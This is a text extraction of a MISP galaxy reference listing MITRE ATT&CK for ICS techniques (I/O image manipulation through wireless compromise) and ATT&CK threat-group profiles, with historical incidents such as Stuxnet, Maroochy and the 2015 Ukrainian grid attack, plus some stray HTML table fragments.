Adversaries may manipulate the I/O image of PLCs through various means to prevent them from functioning as expected. Methods of I/O image manipulation may include overriding the I/O table via direct memory manipulation or using the override function used for testing PLC programs. During the PLC scan cycle, the state of the actual physical inputs is copied to a portion of the PLC memory, commonly called the input image table. When the program is scanned, it examines the input image table to read the state of a physical input. When the logic determines the state of a physical output, it writes to a portion of the PLC memory commonly called the output image table. The output image may also be examined during the program scan. To update the physical outputs, the output image table contents are copied to the physical outputs after the program is scanned.
One of the unique characteristics of PLCs is their ability to override the status of a physical discrete input or to override the logic driving a physical output coil and force the output to a desired status.

The tag is: `misp-galaxy:mitre-ics-techniques="Manipulate I/O Image"`

### Manipulation of Control

Adversaries may manipulate physical process control within the industrial environment. Methods of manipulating control can include changes to set point values, tags, or other parameters. Adversaries may manipulate control systems devices or possibly leverage their own, to communicate with and command physical control processes. The duration of manipulation may be temporary or longer sustained, depending on operator detection. Methods of Manipulation of Control include: Man-in-the-middle, Spoof command message, Changing setpoints

The tag is: `misp-galaxy:mitre-ics-techniques="Manipulation of Control"`

### Masquerading

Adversaries may use masquerading to disguise a malicious application or executable as another file, to avoid operator and engineer suspicion. Possible disguises of these masquerading files can include commonly found programs, expected vendor executables and configuration files, and other commonplace application and naming conventions. By impersonating expected and vendor-relevant files and applications, operators and engineers may not notice the presence of the underlying malicious content and possibly end up running those masquerading as legitimate functions. Applications and other files commonly found on Windows systems or in engineering workstations have been impersonated before. This can be as simple as renaming a file to effectively disguise it in the ICS environment.

The tag is: `misp-galaxy:mitre-ics-techniques="Masquerading"`
**Modify Alarm Settings**

Adversaries may modify alarm settings to prevent alerts that may inform operators of their presence or to prevent responses to dangerous and unintended scenarios. Reporting messages are a standard part of data acquisition in control systems. Reporting messages are used as a way to transmit system state information and acknowledgements that specific actions have occurred. These messages provide vital information for the management of a physical process, and keep operators, engineers, and administrators aware of the state of system devices and physical processes. If an adversary is able to change the reporting settings, certain events could be prevented from being reported. This type of modification can also prevent operators or devices from performing actions to keep the system in a safe state. If critical reporting messages cannot trigger these actions then a Impact could occur. In ICS environments, the adversary may have to use Alarm Suppression or contend with multiple alarms and/or alarm propagation to achieve a specific goal to evade detection or prevent intended responses from occurring. Methods of suppression often rely on modification of alarm settings, such as modifying in memory code to fixed values or tampering with assembly level instruction code. In the Maroochy Attack, the adversary disabled alarms at four pumping stations. This caused alarms to not be reported to the central computer.

The tag is: misp-galaxy:mitre-ics-techniques="Modify Alarm Settings"

**Modify Control Logic**

Adversaries may place malicious code in a system, which can cause the system to malfunction by modifying its control logic. Control system devices use programming languages (e.g. relay ladder logic) to control physical processes by affecting actuators, which cause machines to operate, based on environment sensor readings. These devices often include the ability to perform remote control logic updates. Program code is normally edited in a vendor-specific Integrated Development Environment (IDE) that relies on proprietary tools and features. These IDEs allow an engineer to perform host target development and may have the ability to run the code on the machine it is programmed for. The IDE will transmit the control logic to the testing device, and will perform the required device-specific functions to apply the changes and make them active. An adversary may
attempt to use this host target IDE to modify device control logic. Even though proprietary tools are often used to edit and update control logic, the process can usually be reverse-engineered and reproduced with open-source tools. An adversary can de-calibrate a sensor by removing functions in control logic that account for sensor error. This can be used to change a control process without actually spoofing command messages to a controller or device. It is believed this process happened in the lesser known over-pressurizer attacks build into Stuxnet. Pressure sensors are not perfect at translating pressure into an analog output signal, but their errors can be corrected by calibration. The pressure controller can be told what the “real” pressure is for given analog signals and then automatically linearize the measurement to what would be the “real” pressure. If the linearization is overwritten by malicious code on the S7-417 controller, analog pressure readings will be “corrected” during the attack by the pressure controller, which then interprets all analog pressure readings as perfectly normal pressure no matter how high or low their analog values are. The pressure controller then acts accordingly by never opening the stage exhaust valves. In the meantime, actual pressure keeps rising. In the Maroochy Attack, Vitek Boden gained remote computer access to the control system and altered data so that whatever function should have occurred at affected pumping stations did not occur or occurred in a different way. The software program installed in the laptop was one developed by Hunter Watertech for its use in changing configurations in the PDS computers. This ultimately led to 800,000 liters of raw sewage being spilled out into the community.

</tr>
</tbody>
</table>

**Modify Parameter**

Adversaries may modify parameters used to instruct industrial control system devices. These devices operate via programs that dictate how and when to perform actions based on such parameters. Such parameters can determine the extent to which an action is performed and may specify additional options. For example, a program on a control system device dictating motor processes may take a parameter defining the total number of seconds to run that motor. An adversary can potentially modify these parameters to produce an outcome outside of what was intended by the operators. By modifying system and process critical parameters, the adversary may cause Impact to equipment and/or control processes. Modified parameters may be turned into dangerous, out-of-bounds, or unexpected values from typical operations. For example, specifying that a process run for more or less time than it should, or dictating an unusually high, low, or invalid value as a parameter. In the Maroochy Attack, Vitek Boden gained remote computer access to the control system and altered data so that whatever function should have occurred at affected pumping stations did not occur or occurred in a different way. The software program installed in the laptop was one developed by Hunter Watertech for its use in changing configurations in the
PDS computers. This ultimately led to 800,000 liters of raw sewage being spilled out into the community.

</tr>
</tbody>
</table>

**Module Firmware**

Adversaries may install malicious or vulnerable firmware onto modular hardware devices. Control system devices often contain modular hardware devices. These devices may have their own set of firmware that is separate from the firmware of the main control system equipment. This technique is similar to System Firmware, but is conducted on other system components that may not have the same capabilities or level of integrity checking. Although it results in a device re-image, malicious device firmware may provide persistent access to remaining devices. An easy point of access for an adversary is the Ethernet card, which may have its own CPU, RAM, and operating system. The adversary may attack and likely exploit the computer on an Ethernet card. Exploitation of the Ethernet card computer may enable the adversary to accomplish additional attacks, such as the following: Delayed Attack - The adversary may stage an attack in advance and choose when to launch it, such as at a particularly damaging time. Brick the Ethernet Card - Malicious firmware may be programmed to result in an Ethernet card failure, requiring a factory return. Random Attack or Failure - The adversary may load malicious firmware onto multiple field devices. Execution of an attack and the time it occurs is generated by a pseudo-random number generator. A Field Device Worm - The adversary may choose to identify all field devices of the same model, with the end goal of performing a device-wide compromise. Attack Other Cards on the Field Device - Although it is not the most important module in a field device, the Ethernet card is most accessible to the adversary and malware. Compromise of the Ethernet card may provide a more direct route to compromising other modules, such as the CPU module.

</table>

**Monitor Process State**

Adversaries may gather information about the physical process state. This information may be used to gain more information about the process itself or used as a trigger for malicious actions. The sources of process state information may vary such as, OPC tags, historian data, specific PLC block...
Network Connection Enumeration

Adversaries may perform network connection enumeration to discover information about device communication patterns. If an adversary can inspect the state of a network connection with tools, such as netstat, in conjunction with System Firmware, then they can determine the role of certain devices on the network. The adversary can also use Network Sniffing to watch network traffic for details about the source, destination, protocol, and content.

Network Service Scanning

Network Service Scanning is the process of discovering services on networked systems. This can be achieved through a technique called port scanning or probing. Port scanning interacts with the TCP/IP ports on a target system to determine whether ports are open, closed, or filtered by a firewall. This does not reveal the service that is running behind the port, but since many common services are run on specific port numbers, the type of service can be assumed. More in-depth testing includes interaction with the actual service to determine the service type and specific version. One of the most-popular tools to use for Network Service Scanning is Nmap. An adversary may attempt to gain information about a target device and its role on the network via Network Service Scanning techniques, such as port scanning. Network Service Scanning is useful for determining potential vulnerabilities in services on target devices. Network Service Scanning is closely tied to. Scanning ports can be noisy on a network. In some attacks, adversaries probe for specific ports using custom tools. This was specifically seen in the Triton and PLC-Blaster attacks.
Network Sniffing

Network sniffing is the practice of using a network interface on a computer system to monitor or capture information regardless of whether it is the specified destination for the information. An adversary may attempt to sniff the traffic to gain information about the target. This information can vary in the level of importance. Relatively unimportant information is general communications to and from machines. Relatively important information would be login information. User credentials may be sent over an unencrypted protocol, such as Telnet, that can be captured and obtained through network packet analysis. Network sniffing can be a way to discover information for Control Device Identification. In addition, ARP and Domain Name Service (DNS) poisoning can be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.

</table>

Point & Tag Identification

Adversaries may collect point and tag values to gain a more comprehensive understanding of the process environment. Points may be values such as inputs, memory locations, outputs or other process specific variables. Tags are the identifiers given to points for operator convenience. Collecting such tags provides valuable context to environmental points and enables an adversary to map inputs, outputs, and other values to their control processes. Understanding the points being collected may inform an adversary on which processes and values to keep track of over the course of an operation.

The tag is: *misp-galaxy:mitre-ics-techniques="Point & Tag Identification"*

<table>
<thead>
<tr>

</table>
Backdoor.Oldrea enumerates all OPC tags and queries for specific fields such as server state, tag name, type, access, and id.

Program Download

Adversaries may perform a program download to load malicious or unintended program logic on a device as a method of persistence or to disrupt response functions or process control. Program download onto devices, such as PLCs, allows adversaries to implement custom logic. Malicious PLC programs may be used to disrupt physical processes or enable adversary persistence. The act of a program download will cause the PLC to enter a STOP operation state, which may prevent response functions from operating correctly.

The tag is: misp-galaxy:mitre-ics-techniques="Program Download"

Table 3353. Table References

Program Organization Units

Program Organizational Units (POUs) are block structures used within PLC programming to create programs and projects. POUs can be used to hold user programs written in IEC 61131-3 languages: Structured text, Instruction list, Function block, and Ladder logic. They can also provide additional functionality, such as establishing connections between the PLC and other devices using TCON. Stuxnet uses a simple code-prepending infection technique to infect Organization Blocks (OB). For example, the following sequence of actions is performed when OB1 is infected: Increase the size of the original block. Write malicious code to the beginning of the block. Insert the original OB1 code after the malicious code.

The tag is: misp-galaxy:mitre-ics-techniques="Program Organization Units"

An infection sequence consists of code blocks and data blocks that will be downloaded to the PLC to alter its behavior.]</td>
</tr>
</tbody>
</table>
Program Upload

Adversaries may attempt to upload a program from a PLC to gather information about an industrial process. Uploading a program may allow them to acquire and study the underlying logic. Methods of program upload include vendor software, which enables the user to upload and read a program running on a PLC. This software can be used to upload the target program to a workstation, jump box, or an interfacing device.

The tag is: misp-galaxy:mitre-ics-techniques="Program Upload"

Project File Infection

Adversaries may attempt to infect project files with malicious code. These project files may consist of objects, program organization units, variables such as tags, documentation, and other configurations needed for PLC programs to function. Using built in functions of the engineering software, adversaries may be able to download an infected program to a PLC in the operating environment enabling further execution and persistence techniques. Adversaries may export their own code into project files with conditions to execute at specific intervals. Malicious programs allow adversaries control of all aspects of the process enabled by the PLC. Once the project file is downloaded to a PLC the workstation device may be disconnected with the infected project file still executing.

The tag is: misp-galaxy:mitre-ics-techniques="Project File Infection"

Remote File Copy

Adversaries may copy files from one system to another to stage adversary tools or other files over the course of an operation. Copying of files may also be performed laterally between internal victim systems to support Lateral Movement with remote Execution using inherent file sharing protocols such as file sharing over SMB to connected network shares. In control systems environments, malware may use SMB and other file sharing protocols to move laterally through industrial networks.
Remote System Discovery

Remote System Discovery is the process of identifying the presence of hosts on a network, and details about them. This process is common to network administrators validating the presence of machines and services, as well as adversaries mapping out a network for future-attack targets. An adversary may attempt to gain information about the target network via network enumeration techniques such as port scanning. One of the most popular tools for enumeration is Nmap. Remote System Discovery allows adversaries to map out hosts on the network as well as the TCP/IP ports that are open, closed, or filtered. Remote System Discovery tools also aid in by attempting to connect to the service and determine its exact version. The adversary may use this information to pick an exploit for a particular version if a known vulnerability exists.

Replication Through Removable Media

Adversaries may move onto systems, such as those separated from the enterprise network, by copying malware to removable media which is inserted into the control systems environment. The adversary may rely on unknowing trusted third parties, such as suppliers or contractors with access privileges, to introduce the removable media. This technique enables initial access to target devices that never connect to untrusted networks, but are physically accessible. Operators of the German nuclear power plant, Gundremmingen, discovered malware on a facility computer not connected to the internet. The malware included Conficker and W32.Ramnit, which were also found on eighteen removable disk drives in the facility. The plant has since checked for infection.
and cleaned up more than 1,000 computers. An ESET researcher commented that internet disconnection does not guarantee system safety from infection or payload execution.

The tag is: `misp-galaxy:mitre-ics-techniques="Replication Through Removable Media"`

### Rogue Master Device

Adversaries may setup a rogue master to leverage control server functions to communicate with slave devices. A rogue master device can be used to send legitimate control messages to other control system devices, affecting processes in unintended ways. It may also be used to disrupt network communications by capturing and receiving the network traffic meant for the actual master device. Impersonating a master device may also allow an adversary to avoid detection. In the Maroochy Attack, Vitek Boden falsified network addresses in order to send false data and instructions to pumping stations.

The tag is: `misp-galaxy:mitre-ics-techniques="Rogue Master Device"`
Role Identification

Adversaries may perform role identification of devices involved with physical processes of interest in a target control system. Control systems devices often work in concert to control a physical process. Each device can have one or more roles that it performs within that control process. By collecting this role-based data, an adversary can construct a more targeted attack. For example, a power generation plant may have unique devices such as one that monitors power output of a generator and another that controls the speed of a turbine. Examining devices' roles allows the adversary to observe how the two devices work together to monitor and control a physical process. Understanding the role of a target device can inform the adversary's decision on what action to take, in order to cause Impact and influence or disrupt the integrity of operations. Furthermore, an adversary may be able to capture control system protocol traffic. By studying this traffic, the adversary may be able to determine which devices are outstations, and which are masters. Understanding of master devices and their role within control processes can enable the use of Rogue Master Device.

The tag is: `misp-galaxy:mitre-ics-techniques="Role Identification"`

Rootkit

Adversaries may deploy rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of
malware by intercepting and modifying operating-system API calls that supply system information. Rootkits or rootkit-enabling functionality may reside at the user or kernel level in the operating system, or lower. Firmware rootkits that affect the operating system yield nearly full control of the system. While firmware rootkits are normally developed for the main processing board, they can also be developed for I/O that can be attached to the asset. Compromise of this firmware allows the modification of all of the process variables and functions the module engages in. This may result in commands being disregarded and false information being fed to the main device. By tampering with device processes, an adversary may inhibit its expected response functions and possibly enable Impact.

The tag is: misp-galaxy:mitre-ics-techniques="Rootkit"

### Screen Capture

Adversaries may attempt to perform screen capture of devices in the control system environment. Screenshots may be taken of workstations, HMIs, or other devices that display environment-relevant process, device, reporting, alarm, or related data. These device displays may reveal information regarding the ICS process, layout, control, and related schematics. In particular, an HMI can provide a lot of important industrial process information. Analysis of screen captures may provide the adversary with an understanding of intended operations and interactions between critical devices.

The tag is: misp-galaxy:mitre-ics-techniques="Screen Capture"
Scripting

Adversaries may use scripting languages to execute arbitrary code in the form of a pre-written script or in the form of user-supplied code to an interpreter. Scripting languages are programming languages that differ from compiled languages, in that scripting languages use an interpreter, instead of a compiler. These interpreters read and compile part of the source code just before it is executed, as opposed to compilers, which compile each and every line of code to an executable file. Scripting allows software developers to run their code on any system where the interpreter exists. This way, they can distribute one package, instead of precompiling executables for many different systems. Scripting languages, such as Python, have their interpreters shipped as a default with many Linux distributions. In addition to being a useful tool for developers and administrators, scripting language interpreters may be abused by the adversary to execute code in the target environment. Due to the nature of scripting languages, this allows for weaponized code to be deployed to a target easily, and leaves open the possibility of on-the-fly scripting to perform a task.

The tag is: misp-galaxy:mitre-ics-techniques="Scripting"

Table 3364. Table References

</tr>
</tbody>
</table>

Serial Connection Enumeration

Adversaries may perform serial connection enumeration to gather situational awareness after gaining access to devices in the OT network. Control systems devices often communicate to each other via various types of serial communication mediums. These serial communications are used to facilitate informational communication, as well as commands. Serial Connection Enumeration differs from I/O Module Discovery, as I/O modules are auxiliary systems to the main system, and devices that are connected via serial connection are normally discrete systems. While IT and OT networks may work in tandem, the exact structure of the OT network may not be discernible from the IT network alone. After gaining access to a device on the OT network, an adversary may be able to enumerate the serial connections. From this perspective, the adversary can see the specific physical devices to which the compromised device is connected to. This gives the adversary greater situational awareness and can influence the actions that the adversary can take in an attack.
Service Stop

Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment. Services may not allow for modification of their data stores while running. Adversaries may stop services in order to conduct Data Destruction.

The tag is: *misp-galaxy:mitre-ics-techniques="Service Stop"

Spearphishing Attachment

Adversaries may use a spearphishing attachment, a variant of spearphishing, as a form of a social engineering attack against specific targets. Spearphishing attachments are different from other forms of spearphishing in that they employ malware attached to an email. All forms of spearphishing are electronically delivered and target a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon User Execution to gain execution and access.

The tag is: *misp-galaxy:mitre-ics-techniques="Spearphishing Attachment"
Standard Application Layer Protocol

Adversaries may establish command and control capabilities over commonly used application layer protocols such as HTTP(S), OPC, RDP, telnet, DNP3, and modbus. These protocols may be used to disguise adversary actions as benign network traffic. Standard protocols may be seen on their associated port or in some cases over a non-standard port. Adversaries may use these protocols to reach out of the network for command and control, or in some cases to other infected devices within the network.

The tag is: `misp-galaxy:mitre-ics-techniques="Standard Application Layer Protocol"`

</tr>
</tbody>
</table>

Supply Chain Compromise

Adversaries may perform supply chain compromise to gain control systems environment access by means of infected products, software, and workflows. Supply chain compromise is the manipulation of products, such as devices or software, or their delivery mechanisms before receipt by the end consumer. Adversary compromise of these products and mechanisms is done for the goal of data or system compromise, once infected products are introduced to the target environment. Supply chain compromise can occur at all stages of the supply chain, from manipulation of development tools and environments to manipulation of developed products and
tools distribution mechanisms. This may involve the compromise and replacement of legitimate software and patches, such as on third party or vendor websites. Targeting of supply chain compromise can be done in attempts to infiltrate the environments of a specific audience. In control systems environments with assets in both the IT and OT networks, it is possible a supply chain compromise affecting the IT environment could enable further access to the OT environment. F-Secure Labs analyzed the approach the adversary used to compromise victim systems with Havex. The adversary planted trojanized software installers available on legitimate ICS/SCADA vendor websites. After being downloaded, this software infected the host computer with a Remote Access Trojan (RAT).

The tag is: misp-galaxy:mitre-ics-techniques="Supply Chain Compromise"

Table 3369. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>

</table>

System Firmware

System firmware on modern assets is often designed with an update feature. Older device firmware may be factory installed and require special reprogramming equipment. When available, the firmware update feature enables vendors to remotely patch bugs and perform upgrades. Device firmware updates are often delegated to the user and may be done using a software update package. It may also be possible to perform this task over the network. An adversary may exploit the firmware update feature on accessible devices to upload malicious or out-of-date firmware. Malicious modification of device firmware may provide an adversary with root access to a device, given firmware is one of the lowest programming abstraction layers. In the 2015 attack on the Ukrainian power grid, the adversaries gained access to the control networks of three different energy companies. The adversaries developed malicious firmware for the serial-to-ethernet devices which rendered them inoperable and severed connections between the control center and the substation.

The tag is: misp-galaxy:mitre-ics-techniques="System Firmware"

</tbody>
</table>

Unauthorized Command Message

Adversaries may send unauthorized command messages to instruct control systems devices to perform actions outside their expected functionality for process control. Command messages are used in ICS networks to give direct instructions to control systems devices. If an adversary can send an unauthorized command message to a control system, then it can instruct the control systems device to perform an action outside the normal bounds of the device's actions. An adversary could potentially instruct a control systems device to perform an action that will cause an Impact. In the Maroochy Attack, the adversary used a dedicated analog two-way radio system to send false data and instructions to pumping stations and the central computer. In the 2015 attack on the Ukrainian power grid, the adversaries gained access to the control networks of three different energy companies. The adversaries used valid credentials to seize control of operator workstations and access a distribution management system (DMS) client application via a VPN. The adversaries used these tools to issue unauthorized commands to breakers at substations which caused a loss of power to over 225,000 customers over various areas.

</tr>
</tbody>
</table>
User Execution

Adversaries may rely on a targeted organizations' user interaction for the execution of malicious code. User interaction may consist of installing applications, opening email attachments, or granting higher permissions to documents. Adversaries may embed malicious code or visual basic code into files such as Microsoft Word and Excel documents or software installers. Execution of this code requires that the user enable scripting or write access within the document. Embedded code may not always be noticeable to the user especially in cases of trojanized software.

The tag is: misp-galaxy:mitre-ics-techniques="User Execution"

Utilize/Change Operating Mode

Adversaries may place controllers into an alternate mode of operation to enable configuration setting changes for evasive code execution or to inhibit device functionality. Programmable controllers typically have several modes of operation. These modes can be broken down into three main categories: program run, program edit, and program write. Each of these modes puts the device in a state in which certain functions are available. For instance, the program edit mode allows alterations to be made to the user program while the device is still online. By driving a device into an alternate mode of operation, an adversary has the ability to change configuration settings in such a way to cause a Impact to equipment and/or industrial process associated with the targeted device. An adversary may also use this alternate mode to execute arbitrary code which could be used to evade defenses.

The tag is: misp-galaxy:mitre-ics-techniques="Utilize/Change Operating Mode"

Valid Accounts

Adversaries may steal the credentials of a specific user or service account using credential access.
techniques. In some cases, default credentials for control system devices may be publicly available. Compromised credentials may be used to bypass access controls placed on various resources on hosts and within the network, and may even be used for persistent access to remote systems. Compromised and default credentials may also grant an adversary increased privilege to specific systems and devices or access to restricted areas of the network. Adversaries may choose not to use malware or tools, in conjunction with the legitimate access those credentials provide, to make it harder to detect their presence or to control devices and send legitimate commands in an unintended way. Adversaries may also create accounts, sometimes using predefined account names and passwords, to provide a means of backup access for persistence. The overlap of credentials and permissions across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) and possibly between the enterprise and operational technology environments. Adversaries may be able to leverage valid credentials from one system to gain access to another system. In the 2015 attack on the Ukrainian power grid, the adversaries used valid credentials to interact directly with the client application of the distribution management system (DMS) server via a VPN and native remote access services to access employee workstations hosting HMI applications. The adversaries caused outages at three different energy companies, causing loss of power to over 225,000 customers over various areas.

Wireless Compromise

Adversaries may perform wireless compromise as a method of gaining communications and unauthorized access to a wireless network. Access to a wireless network may be gained through the compromise of a wireless device. Adversaries may also utilize radios and other wireless communication devices on the same frequency as the wireless network. Wireless compromise can be done as an initial access vector from a remote distance. A joint case study on the Maroochy Shire Water Services event examined the attack from a cyber security perspective.
disrupted Maroochy Shire's radio-controlled sewage system by driving around with stolen radio equipment and issuing commands with them. Boden used a two-way radio to communicate with and set the frequencies of Maroochy Shire's repeater stations. A Polish student used a modified TV remote controller to gain access to and control over the Lodz city tram system in Poland. The remote controller device allowed the student to interface with the tram's network to modify track settings and override operator control. The adversary may have accomplished this by aligning the controller to the frequency and amplitude of IR control protocol signals. The controller then enabled initial access to the network, allowing the capture and replay of tram signals

Cobalt Group - G0080

[Cobalt Group](https://attack.mitre.org/groups/G0080) is a financially motivated threat group that has primarily targeted financial institutions. The group has conducted intrusions to steal money via targeting ATM systems, card processing, payment systems and SWIFT systems. [Cobalt Group](https://attack.mitre.org/groups/G0080) has mainly targeted banks in Eastern Europe, Central Asia, and Southeast Asia. One of the alleged leaders was arrested in Spain in early 2018, but the group still appears to be active. The group has been known to target organizations in order to use their access to then compromise additional victims. (Citation: Talos Cobalt Group July 2018) (Citation: PTSecurity Cobalt Group Aug 2017) (Citation: PTSecurity Cobalt Group Dec 2016) (Citation: Group IB Cobalt Aug 2017) (Citation: Proofpoint Cobalt June 2017) (Citation: RiskIQ Cobalt Nov 2017) (Citation: RiskIQ Cobalt Jan 2018) Reporting indicates there may be links between [Cobalt Group](https://attack.mitre.org/groups/G0080) and both the malware [Carbanak](https://attack.mitre.org/software/S0030) and the group [Carbanak](https://attack.mitre.org/groups/G0008). Lazarus Group - G0032

[Lazarus Group](https://attack.mitre.org/groups/G0032) is a threat group that has been attributed to the North Korean government. (Citation: US-CERT HIDDEN COBRA June 2017) The group has been active since at least 2009 and was reportedly responsible for the November 2014 destructive wiper attack against Sony Pictures Entertainment as part of a campaign named Operation Blockbuster by Novetta. Malware used by [Lazarus Group](https://attack.mitre.org/groups/G0032) correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain. (Citation: Novetta Blockbuster) In late 2017, [Lazarus Group](https://attack.mitre.org/groups/G0032) used KillDisk, a disk-wiping tool, in an attack against an online casino based in Central America. (Citation: Lazarus KillDisk)

North Korean group definitions are known to have significant overlap, and the name [Lazarus Group](https://attack.mitre.org/groups/G0032) is known to encompass a broad range of activity. Some organizations use the name Lazarus Group to refer to any activity attributed to North Korea. (Citation: US-CERT HIDDEN COBRA June 2017) Some organizations track North Korean clusters or groups such as Bluenoroff, (Citation: Kaspersky Lazarus Under The Hood Blog 2017) [APT37](https://attack.mitre.org/groups/G0067), and [APT38](https://attack.mitre.org/groups/G0082) separately, while other organizations may track some activity associated with those group names by the name Lazarus Group.

Scarlet Mimic - G0029

[Scarlet Mimic](https://attack.mitre.org/groups/G0029) is a threat group that has targeted minority rights activists. This group has not been directly linked to a government source, but the group’s motivations appear to overlap with those of the Chinese government. While there is some overlap between IP addresses used by [Scarlet Mimic](https://attack.mitre.org/groups/G0029) and [Putter Panda](https://attack.mitre.org/groups/G0024), it has not been concluded that the groups are the same. Charming Kitten - G0058

[Charming Kitten](https://attack.mitre.org/groups/G0058) is an Iranian cyber espionage group that has been active since approximately 2014. They appear to focus on targeting individuals of interest to Iran who work in academic research, human rights, and media, with most victims having been located in Iran, the US, Israel, and the UK. [Charming Kitten](https://attack.mitre.org/groups/G0058) often tries to access private email and Facebook accounts, and sometimes establishes a foothold on victim computers as a secondary objective. The group's TTPs overlap extensively with another group, [Magic Hound](https://attack.mitre.org/groups/G0059), resulting in reporting that may not distinguish between the two groups' activities. (Citation: ClearSky Charming Kitten Dec 2017)

**Turla - G0010**

[Turla](https://attack.mitre.org/groups/G0010) is a Russian-based threat group that has infected victims in over 45 countries, spanning a range of industries including government, embassies, military, education, research and pharmaceutical companies since 2004. Heightened activity was seen in mid-2015. [Turla](https://attack.mitre.org/groups/G0010) is known for conducting watering hole and spearphishing campaigns and leveraging in-house tools and malware. [Turla](https://attack.mitre.org/groups/G0010)'s espionage platform is mainly used against Windows machines, but has also been seen used against macOS and Linux machines. APT32 - G0050

[APT32](https://attack.mitre.org/groups/G0050) is a threat group that has been active since at least 2014. The group has targeted multiple private sector industries as well as with foreign governments, dissidents, and journalists with a strong focus on Southeast Asian countries like Vietnam, the Philippines, Laos, and Cambodia. They have extensively used strategic web compromises to compromise victims. The group is believed to be Vietnam-based. (Citation: FireEye APT32 May 2017) (Citation: Volexity OceanLotus Nov 2017) (Citation: ESET OceanLotus)

APT28 - G0007

[APT28](https://attack.mitre.org/groups/G0007) is a threat group that has been attributed to Russia's Main Intelligence Directorate of the Russian General Staff by a July 2018 U.S. Department of Justice
indictment. This group reportedly compromised the Hillary Clinton campaign, the Democratic National Committee, and the Democratic Congressional Campaign Committee in 2016 in an attempt to interfere with the U.S. presidential election. [APT28](https://attack.mitre.org/groups/G0007) has been active since at least 2004. (Citation: DOJ GRU Indictment Jul 2018) (Citation: Ars Technica GRU indictment Jul 2018) (Citation: Crowdstrike DNC June 2016) (Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: FireEye APT28 January 2017) (Citation: GRIZZLY STEPPE JAR) (Citation: Sofacy DealersChoice) (Citation: Palo Alto Sofacy 06-2018) (Citation: Symantec APT28 Oct 2018) (Citation: ESET Zebrocy May 2019)

**Patchwork - G0040**

[Patchwork](https://attack.mitre.org/groups/G0040) is a cyberespionage group that was first observed in December 2015. While the group has not been definitively attributed, circumstantial evidence suggests the group may be a pro-Indian or Indian entity. [Patchwork](https://attack.mitre.org/groups/G0040) has been seen targeting industries related to diplomatic and government agencies. Much of the code used by this group was copied and pasted from online forums. [Patchwork](https://attack.mitre.org/groups/G0040) was also seen operating
spearphishing campaigns targeting U.S. think tank groups in March and April of 2018. (Citation: Cymmetria Patchwork) (Citation: Symantec Patchwork) (Citation: TrendMicro Patchwork Dec 2017) (Citation: Volexity Patchwork June 2018)

Rocke - G0106

[Rocke](https://attack.mitre.org/groups/G0106) is an alleged Chinese-speaking adversary whose primary objective appeared to be cryptojacking, or stealing victim system resources for the purposes of mining cryptocurrency. The name [Rocke](https://attack.mitre.org/groups/G0106) comes from the email address "rocke@live.cn" used to create the wallet which held collected cryptocurrency. Researchers have detected overlaps between [Rocke](https://attack.mitre.org/groups/G0106) and the Iron Cybercrime Group, though this attribution has not been confirmed.(Citation: Talos Rocke August 2018)

**APT3 - G0022**

[APT3](https://attack.mitre.org/groups/G0022) is a China-based threat group that researchers have attributed to China's Ministry of State Security. (Citation: FireEye Clandestine Wolf) (Citation: Recorded Future APT3 May 2017) This group is responsible for the campaigns known as Operation Clandestine Fox, Operation Clandestine Wolf, and Operation Double Tap. (Citation: FireEye Clandestine Wolf) (Citation: FireEye Operation Double Tap) As of June 2015, the group appears to have shifted from targeting primarily US victims to primarily political organizations in Hong Kong. (Citation: Symantec Buckeye)

MITRE has also developed an APT3 Adversary Emulation Plan.(Citation: APT3 Adversary Emulation Plan)

APT38 - G0082

[APT38](https://attack.mitre.org/groups/G0082) is a financially-motivated threat group that is backed by the North Korean regime. The group mainly targets banks and financial institutions and has targeted more than 16 organizations in at least 13 countries since at least 2014.(Citation: FireEye APT38 Oct 2018)

North Korean group definitions are known to have significant overlap, and the name [Lazarus Group](https://attack.mitre.org/groups/G0032) is known to encompass a broad range of activity. Some organizations use the name Lazarus Group to refer to any activity attributed to North Korea.(Citation: US-CERT HIDDEN COBRA June 2017) Some organizations track North Korean clusters or groups such as Bluenoroff,(Citation: Kaspersky Lazarus Under The Hood Blog 2017) [APT37](https://attack.mitre.org/groups/G0067), and [APT38](https://attack.mitre.org/groups/G0082) separately, while other organizations may track some activity associated with those group names by the name Lazarus Group.

**APT34 - G0057**

APT34 is an Iranian cyber espionage group that has been active since at least 2014. The group has targeted a variety of industries, including financial, government, energy, chemical, and telecommunications, and has largely focused its operations within the Middle East. FireEye assesses that the group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests. APT34 loosely aligns with public reporting related to OilRig, but may not wholly align due to companies tracking threat groups in different ways. (Citation: FireEye APT34 Dec 2017)

Dragonfly - G0035

[Dragonfly](https://attack.mitre.org/groups/G0035) is a cyber espionage group that has been active since at least 2011. They initially targeted defense and aviation companies but shifted to focus on the energy sector in early 2013. They have also targeted companies related to industrial control systems. (Citation: Symantec Dragonfly)

A similar group emerged in 2015 and was identified by Symantec as [Dragonfly 2.0](https://attack.mitre.org/groups/G0074). There is debate over the extent of the overlap between [Dragonfly](https://attack.mitre.org/groups/G0035) and [Dragonfly 2.0](https://attack.mitre.org/groups/G0074), but there is sufficient evidence to lead to these being tracked as two separate groups. (Citation: Symantec Dragonfly Sept 2017) (Citation: Fortune Dragonfly 2.0 Sept 2017)

Table 3457. Table References
APT37 - G0067

[APT37](https://attack.mitre.org/groups/G0067) is a suspected North Korean cyber espionage group that has been active since at least 2012. The group has targeted victims primarily in South Korea, but also in Japan, Vietnam, Russia, Nepal, China, India, Romania, Kuwait, and other parts of the Middle East. [APT37](https://attack.mitre.org/groups/G0067) has also been linked to following campaigns between 2016-2018: Operation Daybreak, Operation Erebus, Golden Time, Evil New Year, Are you Happy?, FreeMilk, Northern Korean Human Rights, and Evil New Year 2018. (Citation: FireEye APT37 Feb 2018) (Citation: Securelist ScarCruft Jun 2016) (Citation: Talos Group123)

